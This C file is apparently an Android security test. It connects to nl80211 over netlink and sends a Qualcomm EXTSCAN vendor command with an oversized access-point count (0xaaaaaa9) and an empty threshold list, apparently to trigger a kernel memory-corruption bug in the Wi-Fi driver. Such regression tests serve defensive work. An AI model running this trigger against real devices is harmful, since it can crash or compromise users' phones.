| /** |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <dlfcn.h> |
| #include <limits.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <jni.h> |
| #include <android/log.h> |
| #include <sys/socket.h> |
| #include <linux/netlink.h> |
| #include <linux/genetlink.h> |
| #include <string.h> |
| #include <unistd.h> |
| #include <fcntl.h> |
| #include <errno.h> |
| #include <dirent.h> |
| #include <sys/stat.h> |
| #include <sys/types.h> |
| #include <sys/ioctl.h> |
| #include <net/if.h> |
| #include <sys/types.h> /* See NOTES */ |
| #include <netlink/msg.h> |
| #include <netlink/genl/genl.h> |
| #include <netlink/genl/ctrl.h> |
| #include <linux/nl80211.h> |
| |
| #define MAX_MSG_SIZE 1024 |
| #define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN)) |
| #define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN)) |
| |
| #define KGSL_IOC_TYPE 0x09 |
| |
| struct kgsl_perfcounter_query_compat { |
| unsigned int groupid; |
| unsigned int countables; |
| unsigned int count; |
| unsigned int max_counters; |
| unsigned int __pad[2]; |
| }; |
| struct kgsl_perfcounter_read_group { |
| unsigned int groupid; |
| unsigned int countable; |
| unsigned long long value; |
| }; |
| #define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \ |
| _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat) |
| |
| struct kgsl_perfcounter_read_compat { |
| unsigned int reads; |
| unsigned int count; |
| unsigned int __pad[2]; |
| }; |
| |
| #define CAL_IOCTL_MAGIC 'a' |
| |
| #define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *) |
| |
| #define NL80211_ATTR_MAC 6 |
| #define ETH_ALEN 6 |
| |
| struct nl_sock *nl_sk; |
| #define NL80211_ATTR_IFINDEX 3 |
| enum wlan_hdd_tm_attr { |
| WLAN_HDD_TM_ATTR_INVALID = 0, |
| WLAN_HDD_TM_ATTR_CMD = 1, |
| WLAN_HDD_TM_ATTR_DATA = 2, |
| WLAN_HDD_TM_ATTR_STREAM_ID = 3, |
| WLAN_HDD_TM_ATTR_TYPE = 4, |
| /* keep last */ |
| WLAN_HDD_TM_ATTR_AFTER_LAST, |
| WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1, |
| }; |
| |
| enum wlan_hdd_tm_cmd { |
| WLAN_HDD_TM_CMD_WLAN_FTM = 0, |
| WLAN_HDD_TM_CMD_WLAN_HB = 1, |
| }; |
| |
| #define QCA_NL80211_VENDOR_ID 0x001374 |
| |
| #define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE 32 |
| #define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1 |
| #define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE \ |
| 27 |
| #define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE \ |
| 28 |
| #define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING 29 |
| #define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP 30 |
| #define QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM 26 |
| int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd, |
| u_int8_t genl_version); |
| int test(void); |
| int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd, |
| u_int8_t genl_version) { |
| struct nl_msg *msg; |
| int ret = -1; |
| unsigned char dst[ETH_ALEN]; |
| struct nlattr *rret; |
| struct nlattr *rret1; |
| unsigned char oper_classes[253]; |
| |
| unsigned char hb_params[512]; |
| |
| struct nl80211_sta_flag_update flags; |
| msg = nlmsg_alloc(); |
| int if_index = if_nametoindex("wlan0"); |
| |
| genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version); |
| |
| nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index); |
| |
| nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID); |
| |
| nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, |
| QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE); |
| |
| rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA); |
| |
| if (!rret) { |
| return 1; |
| } |
| |
| nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID, |
| 1); |
| nla_put_u32( |
| msg, |
| QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE, |
| 1); |
| nla_put_u32( |
| msg, |
| QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE, |
| 1); |
| nla_put_u32( |
| msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING, |
| 1); |
| nla_put_u32(msg, |
| QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP, |
| 0xaaaaaa9); |
| |
| rret1 = nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM); |
| |
| if (!rret1) { |
| return 1; |
| } |
| |
| nla_nest_end(msg, rret1); |
| nla_nest_end(msg, rret); |
| |
| ret = nl_send_auto_complete(nl_sk, msg); |
| |
| return 0; |
| } |
| |
| #define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */ |
| #define AID_NET_RAW 3004 /* can create raw INET sockets */ |
| #define AID_NET_ADMIN 3005 |
| |
| int test() { |
| int fd = 0; |
| int i = 0; |
| int j = 0; |
| int ret = 0; |
| char *mem; |
| int family_id = 0; |
| struct audio_cal_basic *acb; |
| struct sockaddr_nl saddr; |
| int test = 0x1234; |
| if (getuid() != 0) { |
| return -1; |
| } |
| |
| gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN}; |
| setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups); |
| |
| setuid(2000); |
| |
| nl_sk = nl_socket_alloc(); |
| ret = genl_connect(nl_sk); |
| if (ret != 0) { |
| return -1; |
| } |
| |
| family_id = genl_ctrl_resolve(nl_sk, "nl80211"); |
| |
| #define NL80211_CMD_GET_WIPHY 1 |
| #define NL80211_CMD_SET_STATION 18 |
| |
| ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1); |
| return 0; |
| } |
| |
| int main(int argc, char *argv[]) { return test(); } |